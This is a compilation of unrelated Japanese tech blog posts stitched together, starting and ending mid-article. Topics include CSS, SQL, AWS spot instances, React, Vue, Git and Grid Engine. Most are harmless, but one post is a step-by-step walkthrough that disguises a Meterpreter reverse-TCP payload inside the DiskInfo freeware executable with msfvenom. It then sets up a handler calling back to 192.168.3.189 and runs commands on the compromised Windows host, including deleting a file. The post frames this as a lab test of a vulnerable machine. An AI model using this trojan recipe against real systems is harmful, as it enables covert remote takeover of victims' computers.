floatプロパティを用いることで、指定した要素を横並びにすることができる。

●余白
要素に余白を作りたい場合は、paddingを用いる。
「padding: 値;」とすると、上下左右すべての方向にその大きさの余白が追加される。

(CSS)
●文字の大きさを指定するにはfont-sizeプロパティ

●「 font-family: フォント名; 」とすることで、要素にそのフォントを適用できる。

●要素にはclassを使って名前をつけることができる。
classをつけることにより、それぞれの要素を識別し、別々のCSSを適用することができる。

●入力欄
<input>要素は１行のテキスト入力を受け取るための要素。
<textarea>要素は複数行のテキスト入力を受け取るための要素。
未経験からエンジニアへ：IPアドレスとは？

未経験からエンジニアになりたい人は、プログラミングから始める人が多いと思いますが、
エンジニアの仕事は、プログラミングだけではありません。そして、プログラミングだけでは、エンジニアになれません。同時にプログラミングが苦手でも、システム構成や開発の流れを理解するとエンジニアに近づきます！
今回はIPアドレスについてです

![インスタスライド_202301014.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/23130/42ff52d1-1139-1e94-f960-d950d63f9385.gif)

# IPアドレスとは？
ネットワーク接続される個々の機器に対して「IPアドレス」という識別用ナンバーがある。このナンバーにてお互いを特定し通信を行う。
ネットワーク接続しているコンピュータは全て必ず「IPアドレス」を持っています。

# IPアドレスの実態
172.217.175.3

これは、google.co.jpのIPアドレスです。
*2023.1月時点

この172.217.175.3をブラウザに入力してもgoogleが開きます
やってみましょう！

# IPアドレスの種類
■グローバルアドレス
　全世界のサーバーと通信するための　アドレス。　取得する必要があります。

■ローカルアドレス
　プライベートアドレス　

　wifiとか家庭LAN、企業LANで利用する　アドレス。
（LAN Local Area Netowork)
　DHCPという仕組みで自動取得してます。

# まとめ
・IPアドレスというユニークな数値を利用してネットワーク通信を行っている

・ 172.217.175.3はgoogleのiPアドレス
　(2023年1月時点）

・グローバルアドレスとプライベートアドレスがある

# 最後に
未経験の皆さん、若手エンジニアの皆さん、勉強方法について悩みがあればなんでも気軽に質問して下さい！
これからも記事を書いていきますので、モチベーションアップのためフォロー、イイねお願いします。
SQL DDL・DML編

<h4>・SQLとは</h4>
　SQLとは、データベースの定義（設定）や操作を行うデータベース言語。プログラミング言語ではなく、SQLだけではシステム開発をすることはできない。

<h4>・DDL・DMLとは</h4>
　DDLとはData Definition Languageの略で、データ定義言語である。一言で言うとテーブルやレコードな<b></b>どを大きく追加・変更するものである。<br>
　代表例として`<b>CREATE</b>` `<b>DROP</b>` `<b>ALTER</b>` `<b>TRUNCATE</b>`の４つがある。

|DDL|説明|
|:--|:---|
|CREATE| 新しいテーブル・ビューなどを作成|
|DROP|テーブル・ビューなどを削除|
|ALTER|テーブル・ビューの内容を変更|
|TRUNCATE|テーブルの内容を削除|

　DMLとはData Manipulation Languageの略で、データ操作言語である。一言で言うとテーブルのレコードの追加・変更するものである。<br>
　代表例として`<b>SELECT</b>` `<b>INSERT</b>` `<b>UPDATE</b>` `<b>DELETE</b>`が挙げられる

|DML|説明|
|:--|:--|
|SELECT|レコードの内容を取り出す|
|INSERT|レコードを追加する|
|UPDATE|レコードの内容更新|
|DELETE|レコード削除|

<h4>・DDLの使い方</h4>
　`CREATE`ではデータベース、ユーザー、テーブル、インデックス、ビュー、トリガーの作成をすることができる。今回はテーブル作成を紹介する。<br>
　<b>インデックス</b>とは、データに索引を付けること。主キー以外のレコードで検索する際の処理時間を短縮させることができる。<br>
　<b>ビュー</b>とは、仮想的なテーブルのこと。他のテーブルからレコードを引用して、欲しい情報だけのテーブルを作ることができる。<br>
　<b>トリガー</b>とは、何かのレコードを変更した際、別のテーブルのレコードも変更するように、指定した捜査があった場合に実行するSQL文のこと。

|DDL文|説明|
|:--|:--|
|<b>CREATE TABLE "テーブル名"</b>|テーブルを作成することができる。|
|<b>CREATE TABLE IF NOT EXISTS "テーブル名"</b>|そのテーブル名のテーブル名がないときだけテーブルを作成する|
|<b>DROP TABLE (IF EXISTS) "テーブル名"</b>| テーブルを削除することができる |
|<b>ALTER TABLE "現在のテーブル名" RENAME TO "変更したい名前"</b>|テーブル名を変更できる|
|<b>ALTER TABLE "テーブル名" RENAME COLUMN NAME TO "変更したい名前"</b>| カラム名を変更できる |
|<b>ALTER TABLE "テーブル名" CHANGE "現在のカラム名" "変更後のカラム名" "現在の型" "変更後の型"</b>| カラム名と型(intなど)を変更することができる |
|<b>ALTER TABLE "テーブル名" MODIFY "カラム名" "変更したい内容"</b>| カラムの定義を変更することができる、VARCHAR(10)をVARCHAR(20)に変更したり |
|<b>ALTER TABLE "テーブル名" ADD "カラム名" 'データ定義'</b>| カラムを追加することができる。データ定義にはVARCHAR(20)などを入れる |
|<b>ALTER TABLE "テーブル名" DROP "カラム名"</b>| カラム名を削除する |
|<b>TRUNCATE TABLE "テーブル名"</b>|テーブルの全データを削除する(AUTO_INCREMENTも初期化)|

<h4>・DML</h4>

|DML文|説明|
|:--|:--|
|<b>SELECT "カラム名(*にすると全選択)" FROM "テーブル名"</b> | テーブルのデータを取り出すことができる |
|SELECT "カラム名" <b>AS "別名のカラム名" FROM "テーブル名"</b>|カラムに別名を付ける|
|SELECT "カラム名" FROM "テーブル名" <b>WHERE "カラム名" = '値'</b>|値に当てはまるカラムを取り出す|
|SELECT "カラム名" FROM "テーブル名" WHERE "カラム名" <b>BETWEEN '数字A' AND '数字B'</b>|数字Aよりも大きく数字Bより小さいカラムの取り出し、アルファベットでも可|
|SELECT "カラム名" FROM "テーブル名" WHERE "カラム名" <b>IN ('値A', '値B'...)</b>|値に当てはまるカラムの取り出し|
|SELECT "カラム名" FROM "テーブル名" WHERE "カラム名" <b>LIKE '値%'</b>|値で始まるカラムの取り出し|
|SELECT "カラム名" FROM "テーブル名" WHERE "カラム名" <b>LIKE '%値%値'</b>|値が２回含まれるデータを取り出す|
|SELECT "カラム名" FROM "テーブル名" WHERE "カラム名" <b>LIKE '___'</b>|アンダーバーの数の文字数のデータの取り出し|
|<b>GROUP BY "カラム名"</b>|データをまとめる(別記事で解説)|
|<b>HAVING "カラム名" (> or <)= '値'</b>|GROUP BYでまとめたデータに取得する条件を追加する（別記事で解説）|
|SELECT "カラム名" FROM "テーブル名" <b>LIMIT '数字'</b>|最大で上から数字のデータを取得する|
|SELECT "カラム名" FROM "テーブル名" <b>LIMIT '数字A', '数字B'</b>|数字A +1 のデータから数字B分のデータを取得する|
|SELECT <b>DISTINCT "カラム名"</b> FROM "テーブル名"|指定したカラム名を除外してデータを取り出す|
|<b>INSERT INTO ”テーブル名" VALUES(レコード名, ...)</b>|レコードにデータを追加する|
|<b>UPDATE "テーブル名" SET "レコード名" = `変更内容`, ...</b>|データの更新|
|<b>DELETE FROM "テーブル名"</b>|テーブルの全データ削除|
|DELETE FROM "テーブル名" <b>WHERE 'カラム名' = '値'</b>|WHEREで示したカラムの値に当てはまるデータの全削除|
|DELETE FROM "テーブル名" <b>LIMIT '数字'</b>|LIMITで示した数字のデータを上から順に消す|
|DELETE FROM "テーブル名" <b>ORDER BY "カラム名" '並び方' LIMIT '数字'</b>|並び方を変えてLIMITで示した数字のデータを上から順に消す|
javascript function からphp sessionへデータを渡す？

PHPとJavascvriptの組み合わせによるSESSIONデータの受け渡しを行うサンプルを、AjaxのsendRequestを利用して遷移せずに、PHPプログラムへSESSION関数としてデータを渡す例を記述してみました。
だいぶ以前から使っている、Ajaxライブラリー/ajax/lib/jslb_ajax.jsを使っています。
また、callbackを使えば、遷移せずにデータを取得することも可能です。
dataget.php
```
<php?
session_start();
$_SESSION['data']=$_POST['data'];
?>
```
上記のようにPOSTデータをSESSIONデータとして受け取るとして、送る側のjavascriptの記述を下記のようにしてみます。
HTML
```
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title></title>
</head>
<SCRIPT type="text/javascript" src="./ajax/lib/jslb_ajax.js" charset="utf-8"></SCRIPT>
<script>
//遷移なしでdataget.phpへテキストデータを渡す処理です。
function msgsend(textdata){
    sendRequest("POST", "./dataget.php", textdata.value, false, false);
}
</script>
<body>

<body>
<input type="text" size="20" onChange="msgsend(this);">
</body>
</body>
</html>
```
Ajaxライブラリーはjsgt.orgのサイトは今は不明ですが、/ajax/lib/jslb_ajax.js利用しています。
CSV形式の行列を読み込むプログラム(Python)

# プログラムについて
https://qiita.com/persim/items/87f4812fe8bf0ab90d00
上の記事で作成したCSV形式の行列をPythonで読み込むプログラムを作成しました．

# 環境
- MacBook Air(M1, 2020)
- Docker(Ubuntu 20.04.5 LTS)
- g++ (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0

# プログラム
```python:readMatrix.py
import numpy as np
import csv
import sys

File_name = sys.argv[1]

# CSV形式のファイルから行列データを取得する
with open(File_name, 'r') as csv_file:
    csv_reader = csv.reader(csv_file)
    matrix_info = next(csv_reader)
    matrix_list = list(csv_reader)

N = matrix_info[0].split()[1]
size = int(N)
ratio = 100 * int(matrix_info[2]) / (size * size)
print("行列の大きさ:" + N)
print("行における非零要素数の最大値:" + matrix_info[1])
print("0要素の数:" + matrix_info[2])
print("行列における0要素の割合:" + str(round(ratio, 1)) + "%")

# 型をstrからfloatへ変換する
A = np.vectorize(float)(matrix_list)
print(A)

# 連立一次方程式を解く例(x=1)
x = np.ones(size)

b = A@x

x = np.zeros(size)

x = np.linalg.solve(A, b)
print(x)

 
# 行列の内, 0要素の位置を取得する
tuple_len = len(np.where(A == 0)[0])

for i in range(tuple_len):
    print("(" + str(np.where(A == 0)[0][i]) + "," + str(np.where(A == 0)[1][i]) + ")", end=',')
print()
```
# 実行結果
今回作成したプログラムでは，行列ファイルの最初の行にある以下の情報を読み取り表示しています.
- 行列の大きさ
- 行における非零要素数の最大値
- 0要素の数


また，行列における0要素の割合と今回読み取った行列も表示するようにしています．


今回は読み取った行列が扱えるかどうかを確かめるために，解が1となる連立一次方程式を構築して解いています．


この結果が実行例の下から2行目の部分に示されており，実際に解が1となっているため問題なく動いていることが確認できます．


最後に行列の0要素の位置について表示するようにしていますが，使うかどうかは不明です．
```:実行例
$python3 readMatrix.py 4_4matrix20230111020709.csv 
行列の大きさ:4
行における非零要素数の最大値:3
0要素の数:10
行列における0要素の割合:62.5%
[[0.07166036 0.         0.         0.        ]
 [0.         0.87274294 0.         0.        ]
 [0.         0.43164124 0.55939415 0.25492239]
 [0.         0.         0.         0.96646873]]
[1. 1. 1. 1.]
(0,1),(0,2),(0,3),(1,0),(1,2),(1,3),(2,0),(3,0),(3,1),(3,2),
```
Auto Scaling グループの起動テンプレートでの spot インスタンスの嵌り

起動テンプレートで、スポットインスタンスを選択して、デフォルトに設定、楽しみに待っていても、インスタンスが立ち上がってきません。

Auto Scaling グループの、アクティビティ履歴を確認すると、起動に失敗したという内容で、以下のような文言があります。

```
Launching a new EC2 instance. Status Reason: The attribute 'disableApiTermination' cannot be used when launching a Spot instance. Launching EC2 instance failed.
```

終了保護を外すことにより、ターゲットグループにインスタンスが立ち上がるようになりました。

インスタンスの詳細を確認してみると、ライフサイクルが、spot となっています。

これで、安くなっているのでしょうかね。

試しに、インスタンスを停止しようとしてみました。

```
You can't stop the Spot Instance 'i-xxxx' because it is associated with a one-time Spot Instance request. You can only stop Spot Instances associated with persistent Spot Instance requests.
```

停止できるようにするには、どうしたらいいんだろう。

起動テンプレートで、spot をリクエストするのは変えませんが、リクエストタイプを「永続」にしてみました。

今度は、以下のようになって立ち上がらないです。

```
Launching a new EC2 instance. Status Reason: Incompatible launch template: Auto Scaling only supports the 'one-time' Spot instance type with no duration.
```

ところで、以下のようになっているので、ちっとも安くなっていない気がします。

```
オンデマンド料金を上限とするスポット料金でスポットインスタンスをリクエスト
```

グッと下げてみようかな。

どうやら、以下のページをみると、スポットインスタンスの現在の？価格が分かるらしいです。これを、説明ページと仮に呼びます。
https://aws.amazon.com/jp/ec2/spot/pricing/

上記ページを見ると、スポットインスタンスをリクエストしさえすれば、70 ~ 80 % 割引にはなりそうなので、上限設定はしないで、スポットインスタンスのリクエストだけにしてみます。
結論的には、以下の画像で分かるとおり、安くなっています。
![Screenshot from 2023-01-12 01-06-30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/470368/6dd324ec-df9a-eef3-6d51-958209151e2e.png)
t2.nanoが、bastionインスタンスで、これは、nanoなので、とても安いので、このままでもいいかな、と。
t3.small の方ですけど、通常で立ち上げていたら、このときは、1時間あたり 0.0272ドル なんですけど、スポット要求だと、ちょうど 10時間で 0.08ドル なので、1時間あたり 0.008ドル となるので、説明ページのとおりとなり、30%程度（約70%割引）の値段で利用できていることがわかりました。
[Swift] 出力はOptionalになってるのにCannot force unwrap value of non-optional type '' で怒られる時

# 出力させるとOptionalになってるのに！を入れるとエラーが起こる。

SwiftのOptionalには以下の素晴らしい記事を読もう
https://qiita.com/maiki055/items/b24378a3707bd35a31a8

つまりは、nilを扱う場合に使うやつ。でもそのままStringとかに入れるとOptionalも出てきてしまう。

基本的には、unwrapするときは対象の変数の後ろに"!"を入れてやればいいが以下の場合ではそうはいかなかった。

**該当箇所**

```swift
label2.text = String(describing: result?.data[indexPath.row])
```


**正解の方法**
```swift
label2.text = String(describing: (result?.data[indexPath.row])!)
```

"!"をつけるだけでなく()で囲ってやる必要があった。
Liberty で httpsession を JCacheに永続化

# 目的
tWASではDBに保存していた httpsessionが Libertyでは JCacheで保存できるようになったので、その構成をします。

# Gitレポジトリ
用意したGitレポジトリをクローンします。

```
git clone https://github.com/pdprof/httpsession.git
cd httpsession/jcache-docker
```

# Libertyイメージのビルド
Liberty Docker イメージをビルドします。localhost 以外の docker を動かしているホストのIPアドレスをACCESS_HOSTに指定します。

```
export ACCESS_HOST=172.17.0.1
./setup-docker.sh
```

# Libertyとhazelcastの起動
続けて以下のシェルを実行して起動します。テストなので　hazelcast は永続化をしていません。

```
./hazelcast-start.sh
./httpsession-start.sh
```

# HttpSessionのテスト
アプリケーションにアクセスして session の動作を確認します。

http://localhost:9080/httpsession/session


# Hazelcast 保存データの確認
Git レポジトリには Hazelcast の HttpSessionデータを確認する　JCache standaloneプログラムを用意したので、実行して保管したデータを確認します。

https://github.com/pdprof/httpsession/blob/master/jcache-hazelcast/jcache.hazelcast/src/main/java/pdprof/jcache/hazelcast/JCacheClient.java

EclipseからJavaのMainプログラムを実行する手順で起動します。
RubyでPythonみたいな文字列スライスがしたい

Pythonでは文字列`s`に対し`s[a:b:n]`とすると`s`の`a`番目から`b`番目の1個手前まで`n`個飛ばしで文字が取り出される。

一方Rubyの文字列クラスにも[`slice`]()メソッドがあり、
```rb
'abcdefg'.slice(1...5)
```
または
```rb
'abcdefg'[1...5]
```
はPythonの
```py
'abcdefg'[1:5]
```
と同様であるが"n個飛ばし"はできない。

## 考えた強引なやり方
- まず`a`番目から`b`番目の1個手前までの部分文字列を取り出す
- 部分文字列から`インデックス%n==0`となる文字を取り出して繋げる(mapとjoinを使う)

例えばPythonでの`'abcdefg'[1:5:3]`はRubyでは以下のように書ける。
```rb
'abcdefg'[1...5].each_char.with_index.map { |c, idx| c if idx%3==0 }.join
```
`idx%3==0`は`(idx%3).zero?`でも可。また、2つ飛ばしなら`idx.even?`とも書ける。

## 別解
[コメント](https://qiita.com/ss8/items/c764c6ae1b5f65a603c3#comment-1635001ea95cae589aaf)で[Enumerator::ArithmeticSequence](https://docs.ruby-lang.org/ja/3.2/class/Enumerator=3a=3aArithmeticSequence.html)を使った方法を教えていただきました。
```rb
str = 'abcdefg'
(1...5).step(3).map{ |i| str[i] }.join
```
Cocos CreatorがWebGPUとともに旅立つ

[Cocos Creator 3.6.2（Cocos Dashboard付き）のダウンロード](https://www.cocos.com/en/creator/download)

今年は**Nintendo Switch**のサポート、**Marionette、Swappy、XR**をエンジンに追加するなど、Cocos Creatorで多くのマイルストーンを達成することができました。今年最後の大きなチャレンジは、エンジンに**WebGPU**を追加することでした。

**Cocos Creator 3.6.2**では、この技術のベータ版をエンジンに追加し、来年のリリースに向けて開発者からのフィードバックを得ることができるようになりました。とはいえ、3.6ですでに作業している人たちに役立つ素晴らしい追加機能やバグ修正もあるので、大半のユーザーにとって役立つようなものを世に送り出す必要があります。

これらの問題を発見してくれたコミュニティの皆さんと、問題解決に協力してくれた皆さんに改めて感謝したいと思います。Cocos Creatorの主な優先順位は安定性であり、あなたのおかげで私たちはそれを改善し続けることができるのです。

3.6.2の詳細については、[フォーラムにある開発者向けノートをお読みください。](https://discuss.cocos2d-x.org/t/cocos-creator-3-6-2-released/57503)

## メジャーアップデート
**ネイティブ環境でのSpineとDragonBonesの互換性向上**

これらの2Dアニメーションプログラムの実行時間の改善について、数人の開発者から問い合わせがあったため、これは主要な項目となりました。このアップデートでは、かなり大幅なスピードアップを実現しています。
![imageのコピー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852397/ae5c0602-571d-2791-e77c-e8b51ebfe9f9.png)
![image-1のコピー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852397/fcad0619-7f8d-3c97-994c-64d514ae02bd.png)

## 実験的なアップデート
**WebGPUのサポート**

現在、WebGPU はいくつかのウェブブラウザで動作します。最も顕著に動作するのは、Chromium 105 - ベースのブラウザです。これを使うには、プロジェクトを "Web-Desktop" にエクスポートします。現在利用可能なオプションはこれだけで、将来的にはもっと増える予定です。問題があれば共有してください。また、開発者ノートから既知の問題を確認することができます。

[Cocos Creator 3.6.2（Cocos Dashboard付き）のダウンロード](https://www.cocos.com/en/creator/download)

[引用元](https://www.cocos.com/en/post/bec86aeee7d10a957750af645055a115)
React (Typescript) を使ってデータを一覧表示する

Reactの学習メモです。
最初にデータの配列を画面に一覧表示するところから始めることにしました。
タスク一覧を画面に表示していきます。

画像のような画面が出来上がる想定です。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/551042/ec471e49-4c5f-a287-d72b-cf2c125b782e.png" width="400" />

### タスク実装
タスクを定義します。

```typescript:src/types/Task.ts
export type Task = {
  id: string;
  title: string;
};
```

### タスク詳細
タスクの詳細情報を表示するコンポーネントを実装します。

```tsx:src/components/TaskItem.tsx
import React from "react";
import { Task } from "../types/Task";

type Props = {
  task: Task;
  handleDelete: (task: Task) => void;
};

const TaskItem: React.FC<Props> = ({ task, handleDelete }) => {
  return (
    <div>
      <p>{task.title}</p>
      <button onClick={() => handleDelete(task)}>削除</button>
    </div>
  );
};

export default TaskItem;

```

### タスク一覧表示
タスクの配列を受け取り表示します。

```tsx:src/components/TaskList.tsx
import React from "react";
import { Task } from "../types/Task";
import TaskItem from "./TaskItem";

type Props = {
  tasks: Task[];
  handleDelete: (task: Task) => void;
};

const TaskList: React.FC<Props> = ({ tasks, handleDelete }) => {
  return (
    <div>
      {tasks.map((task) => (
        <TaskItem key={task.id} task={task} handleDelete={handleDelete} />
      ))}
    </div>
  );
};

export default TaskList;

```

### `App.tsx`
サンプルデータを準備し、コンポーネントに渡します。

```tsx:App.tsx
import React, { useState } from "react";
import "./App.css";
import TaskList from "./components/TaskLIst";
import { Task } from "./types/Task";

const initialState: Task[] = [
  {
    id: "1",
    title: "first task",
  },
  {
    id: "2",
    title: "second task",
  },
];

const App: React.FC = () => {
  const [tasks, setTasks] = useState(initialState);

  const handleDelete = (task: Task) => {
    const newTasks = tasks.filter((t) => t.id !== task.id);
    setTasks(newTasks);
  };

  return <TaskList tasks={tasks} handleDelete={handleDelete} />;
};

export default App;
```

全ソースコードは[こちら](https://github.com/h-taro/react-todo-app-v2)です。

## 参考
https://terupro.net/react-ts-todo-sample/
vue3覚書（props, emit, computed, ref）


## Props
親から子へ値を渡す

親コンポーネント
- props名から値を渡す
```vue
<script setup lang="ts">
import show from "./components/show.vue";
</script>

<template>
  <show message="aiueo" />
</template>
```

子コンポーネント
- 配列、Mapでも渡せる
- messageがProps名
```vue
<script setup lang="ts">
import { defineProps } from "vue";

const props = defineProps({
  message: {
    type: String,
    default: '',
  },
});
</script>

<template>
  <div>
    {{ props.message }}
  </div>
</template>
```

## emit
- 子から親に値を渡す
- App.vue(props) → Hello.vue(emit) →  App.vue のような流れ

親コンポーネント
```vue
<script setup lang="ts">
import Hello from "./components/Hello.vue";

const testFn = (testInput: string) => {
  console.log(testInput)
}
</script>

<template>
  <Hello @emitTest="testFn"/>
</template>
```

子コンポーネント
```vue
 <script setup lang="ts">
import { defineEmits } from "vue";
const emit = defineEmits(["emitTest"])

const testFn = () => {
  emit('emitTest', "aiueo")
}
</script>

<template>
  <div>
    <button @click="testFn">call emit</button>
  </div>
</template>
```

## computed
- 処理や計算などを別だしできる

```vue
<script setup lang="ts">
import { computed } from "vue";

const total = computed(() => {
  return Math.round(10 * 30);
});
</script>

<template>
  <div>
    <p>{{ total }}</p>
  </div>
</template>

<style scoped></style>
```

## ref
- reactiveな値を扱うことができる
- reactive = 変数と思っていい
```vue
<script setup lang="ts">
import { ref } from "vue";

const count = ref(0);

const increment = () => {
  count.value++;
};
</script>

<template>
  <div>
    <p>{{ count }}</p>
    <button @click="increment">increment</button>
  </div>
</template>

<style scoped></style>
```
msfvenomを使ってペイロードを作成し侵入テストを行う

# 環境

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/f938287a-624b-df7a-39a6-58cb17fa919f.png)

# 何がしたい
KaliLinuxで作成したペイロードをターゲット側で実行し、侵入が可能なのか試したい

# 条件
* ターゲットはセキュリティソフトをオフにしている
* ターゲット側でペイロードを実行する必要がある

# 方法
## ペイロードの作成
1\. 偽装するためのexeファイル準備
そのままペイロードを作成すると芸がないので、インターネットで入手できるexeファイルを元にしペイロードを作成します。
元となるexeファイルはなんでもいいですが、今回はdiskinfoというフリーソフトを元にしたいと思います。

2\. 以下のコマンドを実行し、ペイロードを作成します。

``` shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.189 LPORT=5555 -x DiskInfo3.exe -f exe -o DiskInfo1.exe
```

成功するとおそらく以下のような表示が出てくると思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/331afd1d-98a3-ab29-cde5-bc209d64790a.png)




オプションについて
p：使用するペイロード
LHOST：攻撃後接続先となるホストのIP（KaliLinuxのIP）
LPORT：攻撃後接続先となるポート番号
x：ペイロード作成時に元となるファイル　※カレントディレクトリに置いてください
f：ファイル形式
o：出力ファイル名　※xオプションで指定したファイルとは違う名前

3\. Windows10（ターゲット）に2で作成したペイロードを移動 

## msfconsole
4\. KaliLinuxで以下のコマンドを実行し、msfconsoleを起動する

```
msfconsole
```
コンソール起動後の画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/622eb5a2-72b2-dcc9-06ff-b0e0b7c76fce.png)

※最初に出てくる絵はランダムなので上記と違っていても気にしないでください。

5\. msfconsoleで以下のコマンドを実行し、使用するペイロードを選択

``` shell
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.3.189
set LPORT 5555
run
```
※LHOSTとLPORTは2でペイロードを作成したときと同じ値にしてください

実際の画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/bbc84b29-76a3-6929-487c-7837b252e5d1.png)

## 攻撃

6\. 3で移動したペイロードを実行する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/f6b7edc3-302f-6e61-9499-265d28a9b744.png)


作成したペイロードはアイコンも元のファイルと同じになっています。
実行時は何も起こらないので、ここでおかしいなと思われちゃうと思います。

7\. KaliLinuxに戻ると攻撃が完了しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/095cc054-5251-f043-5543-cb38a880dfa8.png)


8\. 攻撃対象のPCに接続できているか確認するためにいくつかコマンドを実行してみます。
```
getuid
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/1ff07cce-0e3d-5dbc-d684-e999b42484f9.png)

```
dir
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/1799422f-89c6-f5e3-5d7b-d908f1b1f244.png)

デスクトップに配置したDiskinfo1.exeがちゃんと見えています。

```
del "Microsoft Edge.lnk"
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/2229579f-dce8-7b04-98e7-5215c683e889.png)

Edgeのショートカットが消えてしまいました

9\. exitコマンドで接続を閉じます。

# その他
ツールを使えば簡単にこのようなものが作れてしまいます。
Defenderのリアルタイムスキャンをオンにしていればすぐに削除されてしまいますが、危険なのは間違いないので
絶対にメールなどで送られてきたよくわからないEXEファイルは実行しないようにしましょう。
以下のようなサイトに作ったファイルをアップロードすると各社のセキュリティソフト（無料で配布されているもの）がアップロードしたファイルをウイルスと見なすかどうか確認することができます。
https://www.virustotal.com/gui/home/upload

今回作ったファイルをアップロードした結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/55fd7258-54b8-b209-266b-e8a28be88d73.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408723/29be49ee-681e-ae7f-f423-48c805018cbf.png)



# 注意
あくまで脆弱性を試すためのテストなので悪用しないようにしてください。
ldapaddコマンドについて

●ldapaddコマンド
LDAPサーバにエントリを登録するコマンド。

ldapaddコマンドの書式とオプション

ldapadd [オプション]

・-h ホスト　LDAPサーバを指定
・-x SASLを使用せずに簡易認証を行う
・-D 識別名　認証に利用する識別名を指定
・-W パスワードの入力を認証時に対話的に行う
・-w パスワード　パスワードを指定
・-f ファイル名　LDIFファイルを指定

●ldapdeleteコマンド
LDAPサーバに登録されたエントリを削除する

●ldapsearchコマンド
LDAPサーバに登録されているエントリを検索する
EditorConfigの設定とGitHub Actionsでのチェック

# 概要
もう何回書いているか、書かれているかわからないeditorconfigの導入の話
ローカルだけでなく、GitHub Actionsでもチェックする

# とりあえずの設定ファイル
プロジェクト直下に `.editorconfig` ファイルを作成する

```.editorconfig
root = true

[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true

[*.md]
trim_trailing_whitespace = false

```

# VS Codeで設定をする
拡張機能のインストール
https://marketplace.visualstudio.com/items?itemName=EditorConfig.EditorConfig
これを入れるだけでOK

# GitHub Actionsでチェックする
エディタによってはeditorconfigが効かない事もあるのでサーバ側でもチェックする

git diff --name-only だと削除されたファイルとかも出てくるようでうまくいかなかったので加工する

ローカルで`npm install eclint`しているので`package,json`には情報がある状態

``` .github/workflows/main.yaml
name: main

on:
  pull_request:
    types: [ opened, synchronize ]

jobs:
  main:
    runs-on: ubuntu-22.04
    permissions:
      contents: read
    timeout-minutes: 5
    steps:
      - name: checkout
        uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Fetch base branch
        run: git fetch origin main
      - uses: actions/setup-node@v3
        with:
          node-version: 14
          cache: npm
      - run: npm install
      - name: eclint
        run: git diff origin/main HEAD |grep '^+++'|awk '{print $2}'|sed "s|b/||"| xargs npx eclint check
```

# 参考
https://qiita.com/chima91novice/items/46859e8b0d068776030d
[a] -> b より (Monoid a) => a -> b が好まれるケース

リストに要素が追加されることはあっても、リストから要素が削除されることがないことを明示できるから。

# 参考文献
http://blog.sigfpe.com/2009/01/haskell-monoids-and-their-uses.html

# 課題

リストから要素が削除されることを明示する場合は `Alternative` (`MonadPlus`) を使えばよいか？それとも `[]` とすべきか？

# 追加メモ　
> It works just as well, but there is a big advantage to using the Writer version. It has type signature f :: Integer -> Writer (Sum Integer) Integer. We can immediately read from this that our function has a side effect that involves accumulating a number in a purely additive way. It's never going to, for example, multiply the accumulated value. The type information tells us a lot about what is going on inside the function without us having to read a single line of the implementation. The version written with State is free to do whatever it likes with the accumulated value and so it's harder to discern its purpose.
【Git】ブランチ名を変更する方法

## ローカルブランチ
ローカルブランチのブランチ名を変更するには次のコマンドを実行します。

```terminal
git branch -m 旧ブランチ名 新ブランチ名
```

カレントブランチの名前を変更する場合には次のように実行します。

```terminal
$ git branch -m 新ブランチ名
```

## リモートブランチ

リモートブランチ名を変更する場合には次の手順でコマンドを実行します。

```
$ git branch -m 古いブランチ名 新しいブランチ名
$ git push -u origin HEAD
$ git push origin リモートブランチ名
```
Azure上のVM、Ubuntu 20.04 LTSにGrid Engine Master NodeとGrid Engine Clientをインストールする

はい。
こんばんわ。
本日3本目の記事です。
AWSとAzureの比較記事書いてますが、AWSの設定がややこしすぎて食傷気味なので別の記事を箸置きのノリで書いていきます。

# Azure上のUbuntuにGrid Engine Master Nodeと、Grid Engine Clientをインストールする
なんでMaster NodeとClientをインストールするかというと、Master NodeとしてちゃんとVM自身が動作しているか確認するためにClientをインストールしたいからです。

# なぜこの記事を書いたか
ネット上の情報を色々と探しましたが、情報が古くてうまく動かないものが多かったりするのでまとめました。
自身の備忘録の意味合いが強いですね。

# 実際のコマンド
大事な部分は11行くらいです。
```
sudo apt update -y
sudo apt upgrade -y
sudo apt autoremove -y
sudo apt install -y cpp
sudo apt install -y gridengine-client
mkdir download
cd download
wget http://ftp.debian.org/debian/pool/main/g/gridengine/gridengine-client_8.1.9+dfsg-9_amd64.deb
ls
mkdir gec
dpkg -X gridengine-client_8.1.9+dfsg-9_amd64.deb gec
cd gec/usr/lib/gridengine
sudo cp libspoolb.so libspoolc.so spooldefaults.bin /usr/lib/gridengine
cd ~
sudo apt install -y gridengine-qmon gridengine-exec gridengine-master
```

これでOKです。

## ポイント1
ちょっとだけ解説すると5行目の
```
sudo apt install -y gridengine-client
```
の後に出てくるメール設定とSGEの自動設定、SGEセル名、SGEマスターホスト名の設定です。
|設定項目名|設定値|
|:---:|:---:|
|メール設定の一般形式|設定なし|
|SGEの自動設定|はい|
|SGEセル名|default|
|SGEマスターホスト名|VM自身のホスト名|

はい。
これくらいですかね。

## ポイント2
